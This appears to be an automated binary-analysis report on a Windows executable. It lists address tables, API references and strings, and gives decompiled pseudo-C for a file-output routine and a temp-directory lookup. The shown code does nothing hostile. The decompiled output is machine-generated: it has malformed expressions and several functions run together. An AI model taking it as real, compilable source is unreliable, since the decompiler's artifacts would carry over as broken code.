0x000620cc
0x000620cf
0x00000000
0x000620d5
0x000620d5
0x000620d8
0x000620da
0x00000000
0x000620e0
0x000620e2
0x000620e5
0x00000000
0x000620e5
0x000620da
0x000620cf
0x000620c6
0x00000000
0x000620a7
0x00062100
0x0006210d
0x0006212b
0x00062138
0x00062156
0x00062163
0x0006216b
0x0006217b
0x000621a4
0x000621b1
0x000621c0
0x000621cd
0x000621da
0x000621da
0x00061f32
0x00061f32
0x00061f35
0x00061f36
0x00061f38
0x00061f3e
0x00061f54
0x00061f54
0x00061f56
0x00061f5b
0x00000000
0x00061f40
0x00061f40
0x00061f43
0x00061f4b
0x00061f4e
0x00000000
0x00000000
0x00000000
0x00000000
0x00061f4e
0x00061f3e
0x00061ec7
0x00061ec7
0x00061eca
0x00061ecb
0x00061ecd
0x00061ed3
0x00061ee9
0x00061ee9
0x00061eeb
0x00061ef0
0x00000000
0x00061ed5
0x00061ed5
0x00061ed8
0x00061ee0
0x00061ee3
0x00000000
0x00000000
0x00000000
0x00000000
0x00061ee3
0x00061ed3
0x00061c1d
0x00061c1d
0x00061c20
0x00061c21
0x00061c29
0x00061c3f
0x00061c3f
0x00061c41
0x00061c46
0x00000000
0x00061c2b
0x00061c2b
0x00061c2e
0x00061c36
0x00061c39
0x00000000
0x00000000
0x00000000
0x00000000
0x00061c39
0x00061c29
0x00061a7b
0x00061a7b
0x00061a7e
0x00061a7f
0x00061a87
0x00061a9d
0x00061a9d
0x00061a9f
0x00061aa4
0x00000000
0x00061a89
0x00061a89
0x00061a8c
0x00061a94
0x00061a97
0x000621db
0x000621e0
0x000621e0
0x000621e5
0x000621e5
0x000621ea
0x000621ea
0x000621ef
0x000621ef
0x000621f4
0x000621f4
0x000621f9
0x000621f9
0x000621fe
0x000621fe
0x00062203
0x00062208
0x00062209
0x0006220a
0x0006220b
0x0006220c
0x0006220d
0x0006220e
0x0006220f
0x00062210
0x00062211
0x00062212
0x00062214
0x00062215
0x00062218
0x0006221a
0x0006227a
0x0006227a
0x0006227d
0x0006227f
0x000622c3
0x000622c3
0x000622c6
0x000622c8
0x00062324
0x00062324
0x00062327
0x0006232a
0x00062353
0x00062353
0x0006235a
0x00062362
0x00062367
0x0006232c
0x0006232c
0x0006232e
0x0006232f
0x00062335
0x00062349
0x00062349
0x0006234b
0x00000000
0x00062337
0x00062337
0x0006233a
0x00062342
0x00062345
0x00000000
0x00062347
0x00062347
0x00000000
0x00062347
0x00062345
0x00062335
0x000622ca
0x000622ca
0x000622cd
0x000622cf
0x000622d1
0x000622d4
0x000622d9
0x000622dc
0x000622dc
0x000622e0
0x000622e0
0x000622e8
0x000622eb
0x000622f1
0x00062305
0x00062305
0x00062307
0x0006230c
0x00062313
0x00062316
0x0006231d
0x00000000
0x000622f3
0x000622f3
0x000622f6
0x000622f9
0x000622fe
0x00062301
0x00000000
0x00062303
0x00062303
0x00000000
0x00062303
0x00062301
0x000622f1
0x00062281
0x00062284
0x00062286
0x0006228c
0x000622a4
0x000622a4
0x000622a6
0x000622ab
0x000622b2
0x000622b5
0x000622bc
0x00000000
0x0006228e
0x0006228e
0x00062291
0x00062299
0x0006229c
0x00000000
0x000622a2
0x000622a2
0x00000000
0x000622a2
0x0006229c
0x0006228c
0x0006221c
0x0006221c
0x0006221f
0x00062221
0x00062223
0x00062226
0x0006222b
0x0006222e
0x0006222e
0x00062232
0x00062232
0x0006223a
0x0006223d
0x00062243
0x0006225b
0x0006225b
0x0006225d
0x00062262
0x00062269
0x0006226c
0x00062273
0x00000000
0x00062245
0x00062245
0x00062248
0x0006224b
0x00062250
0x00062253
0x00062368
0x00062368
0x0006236d
0x0006236e
0x0006236f
0x00062370
0x00062373
0x00062374
0x00062375
0x00062376
0x00062385
0x0006238a
0x0006238f
0x000623a4
0x000623a9
0x000623ae
0x000623c3
0x000623c8
0x000623cd
0x000623d5
0x000623e0
0x00062259
0x00062259
0x00000000
0x00062259
0x00062253
0x00062243
0x00000000
0x00000000
0x00000000
0x00061a97
0x00061a87
0x00000000

APIs

Wow64DisableWow64FsRedirection.KERNEL32(?,D529E887,?,?), ref: 00061A1A
CoInitialize.OLE32(00000000), ref: 00061A22

Part of subcall function 000ECF08: __CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

Part of subcall function 000A6840: __CxxThrowException@8.LIBVCRUNTIME ref: 000A75BA

Part of subcall function 0009D610: __CxxThrowException@8.LIBVCRUNTIME ref: 0009D7A7

OleUninitialize.OLE32 ref: 000621A4
Wow64RevertWow64FsRedirection.KERNEL32(?,?,0016FBB0,0016FBB0,?,?), ref: 000621B1

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Part of subcall function 000D9BF8: __CxxThrowException@8.LIBVCRUNTIME ref: 000D9C0F

Part of subcall function 000D9C35: std::invalid_argument::invalid_argument.LIBCONCRT ref: 000D9C41
Part of subcall function 000D9C35: __CxxThrowException@8.LIBVCRUNTIME ref: 000D9C4F

Strings

slave,s, xrefs: 00061AF2
ipc, xrefs: 00061C4F
log, xrefs: 00061ACB, 00061E9D
log,l, xrefs: 00061AD0
ipc,i, xrefs: 00061C55
slave, xrefs: 00061AED, 00061EF5
options, xrefs: 00061A3C
master,m, xrefs: 00061AE1
invalid map<K, T> key, xrefs: 000621FE
master, xrefs: 00061ADC, 00061F6E

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw$Wow64$Redirection$DisableFeatureInitializePresentProcessorRevertUninitialize___raise_securityfailurestd::invalid_argument::invalid_argument
String ID: invalid map<K, T> key$ipc$ipc,i$log$log,l$master$master,m$options$slave$slave,s
API String ID: 2809779244-3557542427
Opcode ID: e8069e604c457a98a52317b887066775e484ac7dd31f90f31f9c7ef03f08e117
Instruction ID: 02b41117cae670fb85d6cf53a04272e61ffb245123c72ee0d26cd4c73cf85163
Opcode Fuzzy Hash: e8069e604c457a98a52317b887066775e484ac7dd31f90f31f9c7ef03f08e117
Instruction Fuzzy Hash: EB32D071900218DFDB24DF64CD49BDEBBF6AF19304F148198E449AB292DB75AE84CF90

Uniqueness

Uniqueness Score: 100.00%

Function 000D1A10, Relevance: 16.1, APIs: 3, Strings: 6, Instructions: 318
UNIQUE

Download Yara Rule

C-Code - Quality: 50%

			E000D1A10(void* __ecx, signed int _a4, signed int _a8) {
				intOrPtr _v0;
				intOrPtr _v4;
				char _v8;
				intOrPtr _v12;
				char _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				char _v32;
				char _v44;
				char _v48;
				char _v84;
				char _v88;
				char _v124;
				signed char _v125;
				char _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				char _v144;
				signed int _v148;
				intOrPtr _v184;
				char _v204;
				signed int _v208;
				intOrPtr _v316;
				char _v336;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t138;
				signed int _t139;
				intOrPtr _t141;
				signed int _t151;
				intOrPtr _t156;
				signed int _t163;
				signed int _t164;
				signed int _t175;
				signed int _t179;
				signed int _t186;
				signed int _t190;
				signed int _t208;
				intOrPtr _t211;
				void* _t213;
				void* _t241;
				intOrPtr _t243;
				intOrPtr* _t245;
				signed int _t254;
				intOrPtr _t260;
				char* _t263;
				signed int _t264;
				char* _t267;
				intOrPtr _t282;
				intOrPtr _t285;
				signed int _t288;
				void* _t297;
				signed int _t298;
				signed int _t299;
				intOrPtr* _t305;
				signed int _t306;
				intOrPtr _t308;
				signed int _t310;
				signed int _t313;
				intOrPtr* _t315;
				signed int _t316;
				char* _t318;
				signed int _t323;
				signed int _t324;
				void* _t326;
				void* _t327;
				signed int _t328;
				signed int _t329;

				_push(0xffffffff);
				_push(0x136302);
				_push( *[fs:0x0]);
				_t327 = _t326 - 0x84;
				_t138 =  *0x16f170; // 0xd529e887
				_t139 = _t138 ^ _t323;
				_v20 = _t139;
				_push(_t139);
				 *[fs:0x0] =  &_v16;
				_t241 = __ecx;
				_t315 = _a4;
				_t4 = _t241 + 0x10; // 0x10
				_t305 = _t4;
				_v132 = 0;
				 *_t305 = 0;
				 *((intOrPtr*)(__ecx + 0xc)) = 0;
				_t141 =  *_t315;
				_push( &_v136);
				_push(0x171f38);
				_push("OutputFileNameWide");
				_t8 = _t141 + 4; // 0xff348d8b
				_v140 = 0;
				_v136 = 0;
				if( *((intOrPtr*)( *_t8))() != 0) {
					L3:
					__eflags =  *((intOrPtr*)( *((intOrPtr*)( *_t315 + 4))))("OutputBinaryMode", 0x176030,  &_v125, 0xb0);
					_t297 =  !=  ? _v125 & 0x000000ff : 1;
					_v144 = 1;
					_t306 = E000ECF08(_t315,  *((intOrPtr*)( *((intOrPtr*)( *_t315 + 4))))("OutputBinaryMode", 0x176030,  &_v125, 0xb0));
					_t328 = _t327 + 4;
					_v148 = _t306;
					_v8 = 0;
					__eflags = _t306;
					if(__eflags == 0) {
						_t306 = 0;
						__eflags = 0;
					} else {
						 *_t306 = 0x151bc8;
						 *((intOrPtr*)(_t306 + 0x68)) = 0x13ac78;
						_t21 = _t306 + 4; // 0x4
						_v8 = 1;
						_v132 = 1;
						 *((intOrPtr*)(_t306 +  *((intOrPtr*)( *_t306 + 4)))) = 0x13ae84;
						_t27 =  *((intOrPtr*)( *_t306 + 4)) - 8; // -8
						 *((intOrPtr*)( *((intOrPtr*)( *_t306 + 4)) + _t306 - 4)) = _t27;
						E0006B150( *((intOrPtr*)( *_t306 + 4)) + _t306, _t297, __eflags, _t21, 0);
						_v8 = 3;
						 *((intOrPtr*)(_t306 +  *((intOrPtr*)( *_t306 + 4)))) = 0x13efc4;
						_t35 =  *((intOrPtr*)( *_t306 + 4)) - 0x68; // -104
						 *((intOrPtr*)( *((intOrPtr*)( *_t306 + 4)) + _t306 - 4)) = _t35;
						E000690C0(_t241, _t21, 0);
					}
					_t254 =  *(_t241 + 0xc);
					_v8 = 0xffffffff;
					__eflags = _t254;
					if(_t254 != 0) {
						_t288 = _t254 +  *((intOrPtr*)( *_t254 + 4));
						__eflags = _t288;
						 *((intOrPtr*)( *_t288))(1);
					}
					_t298 = _v136;
					_t148 = 0x12;
					 *(_t241 + 0xc) = _t306;
					_v132 = 0x32;
					_t44 = _t148 - 0xe; // 0x4
					_t316 = _t44;
					__eflags = _t298;
					if(_t298 == 0) {
						L14:
						_t299 = _v140;
						__eflags = _t299;
						if(_t299 == 0) {
							L19:
							 *(_t241 + 0x10) = _t306;
							goto L20;
						} else {
							__eflags = _v144;
							_t64 = _t306 + 4; // 0x4
							_t150 =  !=  ? _v132 : _t148;
							_t151 = E00068FD0(_t64, _t299, _t299,  !=  ? _v132 : _t148, 0x40);
							__eflags = _t151;
							_push(0);
							_t260 =  *((intOrPtr*)( *_t306 + 4));
							if(_t151 != 0) {
								_t261 = _t260 + _t306;
								__eflags =  *(_t260 + _t306 + 0x38);
								_t316 =  !=  ? 0 : _t316;
								_push(_t316);
							} else {
								_t261 = _t260 + _t306;
								__eflags =  *(_t261 + 0x38);
								_push(0x00000002 + (0 |  *(_t261 + 0x38) == 0x00000000) * 0x00000004 |  *(_t261 + 0xc));
							}
							E00053470(_t241, _t261, _t299, _t306);
							_t306 =  *(_t241 + 0xc);
							_t156 =  *((intOrPtr*)( *_t306 + 4));
							__eflags =  *(_t156 + _t306 + 0xc) & 0x00000006;
							if(( *(_t156 + _t306 + 0xc) & 0x00000006) != 0) {
								goto L22;
							} else {
								goto L19;
							}
						}
					} else {
						__eflags = _v144;
						_push(0x40);
						_t205 =  !=  ? _v132 : 0x12;
						_push(0x12);
						_push(_t298);
						L38();
						__eflags =  !=  ? _v132 : 0x12;
						_push(0);
						_t285 =  *((intOrPtr*)( *_t306 + 4));
						if(( !=  ? _v132 : 0x12) != 0) {
							_t286 = _t285 + _t306;
							_t299 = 0;
							__eflags =  *(_t285 + _t306 + 0x38);
							_t208 =  !=  ? 0 : _t316;
						} else {
							_t286 = _t285 + _t306;
							__eflags =  *(_t286 + 0x38);
							_t208 = 0x00000002 + (0 |  *(_t286 + 0x38) == 0x00000000) * 0x00000004 |  *(_t286 + 0xc);
						}
						_push(_t208);
						E00053470(_t241, _t286, _t299, _t306);
						_t306 =  *(_t241 + 0xc);
						_t211 =  *((intOrPtr*)( *_t306 + 4));
						__eflags =  *(_t211 + _t306 + 0xc) & 0x00000006;
						if(( *(_t211 + _t306 + 0xc) & 0x00000006) != 0) {
							_t213 = E000B3BC0(_t241, _t306,  &_v44, _v136, 0);
							_t328 = _t328 + 0xc;
							_v8 = 4;
							E000D16D0(_t241,  &_v84, _t299, _t213);
							E001047B7( &_v84, 0x16946c);
							L22:
							E00064B00( &_v44, _v140);
							_v8 = 5;
							_t263 =  &_v124;
							E000D16D0(_t241, _t263, _t299,  &_v44);
							E001047B7( &_v124, 0x16946c);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t323);
							_t324 = _t328;
							_push(0xffffffff);
							_push(0x136338);
							_push( *[fs:0x0]);
							_t329 = _t328 - 0x70;
							_t163 =  *0x16f170; // 0xd529e887
							_t164 = _t163 ^ _t324;
							_v208 = _t164;
							_push(_t241);
							_push(_t316);
							_push(_t306);
							_push(_t164);
							 *[fs:0x0] =  &_v204;
							_t308 = _t263;
							_v316 = _t308;
							_t264 =  *(_t308 + 0x10);
							_t243 = _v184;
							__eflags = _t264;
							if(_t264 == 0) {
								E00064B00( &_v48, "FileSink: output stream not opened");
								_v12 = 0;
								E000D15D0( &_v48);
								E001047B7( &_v88, 0x1694c8);
								goto L37;
							} else {
								_t316 = _a4;
								__eflags = _t316;
								if(_t316 != 0) {
									do {
										_t299 = 0;
										_t313 = _t316;
										__eflags = _t316;
										if(_t316 != 0) {
											_t282 = 1;
										} else {
											_t282 = 0;
										}
										__eflags = 0 - _t316;
										asm("sbb eax, eax");
										__eflags =  ~0x00000000 - _t282;
										if( ~0x00000000 != _t282) {
											_t313 = _t313 | 0xffffffff;
											__eflags = _t313;
											_t299 = 0x7fffffff;
										}
										E000D1F00( *((intOrPtr*)(_v132 + 0x10)), _t243, _t313, _t299); // executed
										_t243 = _t243 + _t313;
										_t316 = _t316 - _t313;
										__eflags = _t316;
									} while (_t316 != 0);
									_t308 = _v132;
									_t264 =  *(_t308 + 0x10);
								}
								__eflags = _a8;
								if(_a8 != 0) {
									E0006AEE0(_t243, _t264, _t299, _t308); // executed
									_t264 =  *(_t308 + 0x10);
								}
								__eflags =  *( *((intOrPtr*)( *_t264 + 4)) + _t264 + 0xc);
								if(__eflags != 0) {
									L37:
									_t267 =  &_v128;
									E000D1880(_t243, _t267, _t299, _t308, __eflags);
									E001047B7( &_v128, 0x1694e8);
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									_push(_t324);
									_push(0xffffffff);
									_push(0x136368);
									_push( *[fs:0x0]);
									_push(_t243);
									_push(_t316);
									_push(_t308);
									_t175 =  *0x16f170; // 0xd529e887
									_push(_t175 ^ _t329);
									 *[fs:0x0] =  &_v336;
									_t318 = _t267;
									__eflags =  *(_t318 + 0x4c);
									if( *(_t318 + 0x4c) != 0) {
										L47:
										__eflags = 0;
										 *[fs:0x0] = _v24;
										return 0;
									} else {
										_push(_a4);
										_push(_v0);
										_t179 = E000D9FD4(_v4);
										__eflags = _t179;
										if(_t179 == 0) {
											goto L47;
										} else {
											E00068EF0(_t179, _t318, _t179, 1);
											_t310 =  *( *((intOrPtr*)(_t318 + 0x34)) + 4);
											_v16 = 0;
											_v28 = _t310;
											 *((intOrPtr*)( *_t310 + 4))();
											_v16 = 1;
											_t245 = E0006F530(_t299,  &_v32);
											_t186 =  *((intOrPtr*)( *((intOrPtr*)( *_t245 + 0xc))))();
											__eflags = _t186;
											if(_t186 == 0) {
												 *((intOrPtr*)(_t318 + 0x38)) = _t245;
												E0006B030(_t318);
											} else {
												 *((intOrPtr*)(_t318 + 0x38)) = 0;
											}
											_v16 = 2;
											__eflags = _t310;
											if(_t310 != 0) {
												_t190 =  *((intOrPtr*)( *_t310 + 8))();
												__eflags = _t190;
												if(_t190 != 0) {
													 *((intOrPtr*)( *_t190))(1);
												}
											}
											 *[fs:0x0] = _v24;
											return _t318;
										}
									}
								} else {
									 *[fs:0x0] = _v20;
									__eflags = _v24 ^ _t324;
									return E000ECED8(_v24 ^ _t324);
								}
							}
						} else {
							_t148 = 0x12;
							goto L14;
						}
					}
				} else {
					_push( &_v140);
					_push(0x171f48);
					_push("OutputFileName");
					if( *((intOrPtr*)( *((intOrPtr*)( *_t315 + 4))))() != 0) {
						goto L3;
					} else {
						 *((intOrPtr*)( *_t315 + 4))("OutputStreamPointer", 0x17797c, _t305);
						L20:
						 *[fs:0x0] = _v16;
						return E000ECED8(_v20 ^ _t323);
					}
				}
			}

0x000d1a13
0x000d1a15
0x000d1a20
0x000d1a21
0x000d1a27
0x000d1a2c
0x000d1a2e
0x000d1a34
0x000d1a38
0x000d1a3e
0x000d1a40
0x000d1a43
0x000d1a43
0x000d1a46
0x000d1a53
0x000d1a59
0x000d1a60
0x000d1a62
0x000d1a63
0x000d1a68
0x000d1a6d
0x000d1a72
0x000d1a7c
0x000d1a8a
0x000d1ac1
0x000d1adc
0x000d1ae3
0x000d1aeb
0x000d1af6
0x000d1af8
0x000d1afb
0x000d1b01
0x000d1b08
0x000d1b0a
0x000d1b78
0x000d1b78
0x000d1b0c
0x000d1b0c
0x000d1b12
0x000d1b1b
0x000d1b21
0x000d1b28
0x000d1b2f
0x000d1b3b
0x000d1b3e
0x000d1b49
0x000d1b54
0x000d1b5e
0x000d1b6a
0x000d1b6d
0x000d1b71
0x000d1b71
0x000d1b7a
0x000d1b7d
0x000d1b84
0x000d1b86
0x000d1b8f
0x000d1b8f
0x000d1b93
0x000d1b93
0x000d1b95
0x000d1b9b
0x000d1ba0
0x000d1ba3
0x000d1baa
0x000d1baa
0x000d1bad
0x000d1baf
0x000d1c13
0x000d1c13
0x000d1c19
0x000d1c1b
0x000d1c75
0x000d1c75
0x00000000
0x000d1c1d
0x000d1c1d
0x000d1c24
0x000d1c29
0x000d1c2f
0x000d1c34
0x000d1c38
0x000d1c3a
0x000d1c3d
0x000d1c56
0x000d1c5a
0x000d1c5d
0x000d1c60
0x000d1c3f
0x000d1c3f
0x000d1c43
0x000d1c53
0x000d1c53
0x000d1c61
0x000d1c66
0x000d1c6b
0x000d1c6e
0x000d1c73
0x00000000
0x00000000
0x00000000
0x00000000
0x000d1c73
0x000d1bb1
0x000d1bb1
0x000d1bbb
0x000d1bbd
0x000d1bc1
0x000d1bc2
0x000d1bc3
0x000d1bc8
0x000d1bcc
0x000d1bce
0x000d1bd1
0x000d1be9
0x000d1beb
0x000d1bef
0x000d1bf2
0x000d1bd3
0x000d1bd3
0x000d1bd7
0x000d1be4
0x000d1be4
0x000d1bf5
0x000d1bf6
0x000d1bfb
0x000d1c00
0x000d1c03
0x000d1c08
0x000d1ca2
0x000d1ca7
0x000d1cae
0x000d1cb5
0x000d1cc3
0x000d1cc8
0x000d1cd1
0x000d1cd9
0x000d1ce1
0x000d1ce4
0x000d1cf2
0x000d1cf7
0x000d1cf8
0x000d1cf9
0x000d1cfa
0x000d1cfb
0x000d1cfc
0x000d1cfd
0x000d1cfe
0x000d1cff
0x000d1d00
0x000d1d01
0x000d1d03
0x000d1d05
0x000d1d10
0x000d1d11
0x000d1d14
0x000d1d19
0x000d1d1b
0x000d1d1e
0x000d1d1f
0x000d1d20
0x000d1d21
0x000d1d25
0x000d1d2b
0x000d1d2d
0x000d1d30
0x000d1d33
0x000d1d36
0x000d1d38
0x000d1dc6
0x000d1dce
0x000d1dd9
0x000d1de7
0x00000000
0x000d1d3e
0x000d1d3e
0x000d1d41
0x000d1d43
0x000d1d45
0x000d1d45
0x000d1d47
0x000d1d49
0x000d1d4b
0x000d1d51
0x000d1d4d
0x000d1d4d
0x000d1d4d
0x000d1d58
0x000d1d5a
0x000d1d5e
0x000d1d60
0x000d1d62
0x000d1d62
0x000d1d65
0x000d1d65
0x000d1d73
0x000d1d78
0x000d1d7a
0x000d1d7a
0x000d1d7a
0x000d1d7e
0x000d1d81
0x000d1d81
0x000d1d84
0x000d1d88
0x000d1d8a
0x000d1d8f
0x000d1d8f
0x000d1d97
0x000d1d9c
0x000d1dec
0x000d1dec
0x000d1def
0x000d1dfd
0x000d1e02
0x000d1e03
0x000d1e04
0x000d1e05
0x000d1e06
0x000d1e07
0x000d1e08
0x000d1e09
0x000d1e0a
0x000d1e0b
0x000d1e0c
0x000d1e0d
0x000d1e0e
0x000d1e0f
0x000d1e10
0x000d1e13
0x000d1e15
0x000d1e20
0x000d1e24
0x000d1e25
0x000d1e26
0x000d1e27
0x000d1e2e
0x000d1e32
0x000d1e38
0x000d1e3a
0x000d1e3e
0x000d1ee7
0x000d1ee7
0x000d1eec
0x000d1efa
0x000d1e44
0x000d1e44
0x000d1e47
0x000d1e4d
0x000d1e55
0x000d1e57
0x00000000
0x000d1e5d
0x000d1e62
0x000d1e6a
0x000d1e6f
0x000d1e76
0x000d1e7b
0x000d1e81
0x000d1e8e
0x000d1e9a
0x000d1e9c
0x000d1e9e
0x000d1eab
0x000d1eae
0x000d1ea0
0x000d1ea0
0x000d1ea0
0x000d1eb3
0x000d1eba
0x000d1ebc
0x000d1ec2
0x000d1ec5
0x000d1ec7
0x000d1ecf
0x000d1ecf
0x000d1ec7
0x000d1ed6
0x000d1ee4
0x000d1ee4
0x000d1e57
0x000d1d9e
0x000d1da3
0x000d1db1
0x000d1dbb
0x000d1dbb
0x000d1d9c
0x000d1c0e
0x000d1c0e
0x00000000
0x000d1c0e
0x000d1c08
0x000d1a8c
0x000d1a94
0x000d1a95
0x000d1a9a
0x000d1aa8
0x00000000
0x000d1aaa
0x000d1ab9
0x000d1c78
0x000d1c7b
0x000d1c93
0x000d1c93
0x000d1aa8

APIs

Part of subcall function 000ECF08: __CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

Part of subcall function 00053470: __CxxThrowException@8.LIBVCRUNTIME ref: 0005349D
Part of subcall function 00053470: __CxxThrowException@8.LIBVCRUNTIME ref: 000534E2
Part of subcall function 00053470: ___std_exception_copy.LIBVCRUNTIME ref: 0005350F

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Part of subcall function 000D16D0: ___std_exception_copy.LIBVCRUNTIME ref: 000D1832

__CxxThrowException@8.LIBVCRUNTIME ref: 000D1CF2

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

__CxxThrowException@8.LIBVCRUNTIME ref: 000D1DE7

Part of subcall function 000D1880: __CxxThrowException@8.LIBVCRUNTIME ref: 000D19ED
Part of subcall function 000D1880: __CxxThrowException@8.LIBVCRUNTIME ref: 000D1A03
Part of subcall function 000D1880: __CxxThrowException@8.LIBVCRUNTIME ref: 000D1CC3
Part of subcall function 000D1880: __CxxThrowException@8.LIBVCRUNTIME ref: 000D1DFD

Strings

OutputBinaryMode, xrefs: 000D1ACC
OutputStreamPointer, xrefs: 000D1AB4
OutputFileNameWide, xrefs: 000D1A68
2, xrefs: 000D1BA3
OutputFileName, xrefs: 000D1A9A
FileSink: output stream not opened, xrefs: 000D19C4, 000D1DBE

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw$___std_exception_copy$ExceptionFeaturePresentProcessorRaise___raise_securityfailure
String ID: 2$FileSink: output stream not opened$OutputBinaryMode$OutputFileName$OutputFileNameWide$OutputStreamPointer
API String ID: 1039700136-2706314955
Opcode ID: e2e48628a45c095ad1e77a27fa0dc47156fad0b6111ebe3cff30a8b82524970e
Instruction ID: 4f6273e8c702fe6eb4fee8c7824a3ed254ec4b0814f210e8aa66b08803c71b2c
Opcode Fuzzy Hash: e2e48628a45c095ad1e77a27fa0dc47156fad0b6111ebe3cff30a8b82524970e
Instruction Fuzzy Hash: E7C18D71A00205AFDB24CF64C884FAEBBF5FF44714F14855AE915AB382DB75A905CFA0

Uniqueness

Uniqueness Score: 100.00%

Function 000AAE00, Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 298
UNIQUE

Download Yara Rule

C-Code - Quality: 76%

			E000AAE00(void* __ebx, WCHAR* __edi, short* _a4, intOrPtr _a8) {
				char _v8;
				char _v16;
				signed int _v20;
				WCHAR* _v24;
				char* _v28;
				char* _v32;
				char* _v36;
				WCHAR* _v40;
				signed int _v44;
				WCHAR* _v48;
				char _v64;
				signed int _v68;
				intOrPtr _v72;
				char _v88;
				signed int _v92;
				WCHAR* _v96;
				char _v112;
				signed int _v116;
				WCHAR* _v120;
				char _v136;
				char _v137;
				signed int _v144;
				signed int _v148;
				intOrPtr _v152;
				char _v156;
				WCHAR* _v160;
				short* _v164;
				intOrPtr _v168;
				intOrPtr _v176;
				WCHAR* _v180;
				char _v188;
				char _v196;
				char _v200;
				intOrPtr _v204;
				intOrPtr _v208;
				WCHAR* _v220;
				char _v228;
				char _v232;
				char _v236;
				void* __esi;
				void* __ebp;
				signed int _t136;
				signed int _t137;
				short* _t139;
				intOrPtr _t145;
				signed int _t148;
				signed int _t149;
				short _t157;
				signed int _t163;
				signed int _t164;
				intOrPtr _t174;
				short _t182;
				intOrPtr _t186;
				intOrPtr _t197;
				short _t214;
				void* _t217;
				short* _t219;
				intOrPtr _t221;
				signed int _t227;
				intOrPtr* _t228;
				WCHAR* _t234;
				char _t240;
				WCHAR* _t246;
				signed int _t251;
				short* _t252;
				short _t253;
				short* _t255;
				void* _t256;
				WCHAR* _t260;
				short* _t261;
				signed int _t262;
				intOrPtr* _t264;
				WCHAR* _t266;
				signed int _t267;
				void* _t269;
				signed int _t270;

				_t257 = __edi;
				_t217 = __ebx;
				_push(0xffffffff);
				_push(0x133ed6);
				_push( *[fs:0x0]);
				_t270 = _t269 - 0xb4;
				_t136 =  *0x16f170; // 0xd529e887
				_t137 = _t136 ^ _t267;
				_v20 = _t137;
				_push(__edi);
				_push(_t137);
				 *[fs:0x0] =  &_v16;
				_t139 = _a4;
				_v168 = _t139;
				_v164 = _t139;
				_v168 = _a8;
				_v144 = 0;
				_v40 = L"TMP";
				_v36 = L"TEMP";
				_v32 = L"LOCALAPPDATA";
				_v28 = L"USERPROFILE";
				_v24 = 0;
				_v48 = 0;
				_v44 = 7;
				_v64 = 0;
				_v8 = 0;
				_t260 = L"TMP";
				_v148 = 0;
				do {
					_push( &_v137);
					E000959C0( &_v180, _t257, GetEnvironmentVariableW(_t260, 0, 0));
					_t257 = _v180;
					_t145 = _v176;
					_v8 = 1;
					if(_t257 == _t145 || GetEnvironmentVariableW(_t260, _t257, _t145 - _t257 >> 1) == 0) {
						_v120 = 0;
						_v136 = 0;
						_t219 =  &_v136;
						_v116 = 7;
						_t148 = _v144 | 0x00000004;
						__eflags = _t148;
					} else {
						_t246 = _t257;
						_v96 = 0;
						_v92 = 7;
						_v112 = 0;
						_t252 =  &(_t246[1]);
						do {
							_t214 =  *_t246;
							_t246 =  &(_t246[1]);
						} while (_t214 != 0);
						_push(_t246 - _t252 >> 1);
						E00068410(_t217,  &_v112, _t252, _t257);
						_t219 =  &_v112;
						_t148 = _v144 | 0x00000002;
					}
					asm("movups xmm0, [ecx]");
					_t149 = _t148 | 0x00000008;
					_v144 = _t149;
					asm("movups [ebp-0x54], xmm0");
					asm("movq xmm0, [ecx+0x10]");
					 *(_t219 + 0x10) = 0;
					 *(_t219 + 0x14) = 7;
					asm("movq [ebp-0x44], xmm0");
					 *_t219 = 0;
					if((_t149 & 0x00000004) != 0) {
						_v144 = _t149 & 0xfffffffb;
						E00054B10(_t217,  &_v136, _t257, _t260);
						_t149 = _v144;
					}
					if((_t149 & 0x00000002) != 0) {
						_v144 = _t149 & 0xfffffffd;
						E00054B10(_t217,  &_v112, _t257, _t260);
					}
					E00064340(_t217,  &_v180, _t257);
					_t221 = _v72;
					_v8 = 2;
					if(_t221 == 0) {
						_t261 = _v148;
						goto L21;
					} else {
						_push(_t221);
						_t191 =  >=  ? _v88 :  &_v88;
						_t241 =  &_v64;
						E00068410(_t217,  &_v64, 0,  >=  ? _v88 :  &_v88);
						_t261 = _v148;
						if(_t261 >= 2) {
							_t241 =  &_v64;
							E000AB8A0(_t217,  &_v64, _t257, _t261, L"Temp");
						}
						_v160 = 0;
						_v156 = 0;
						_v152 = 0x1522a0;
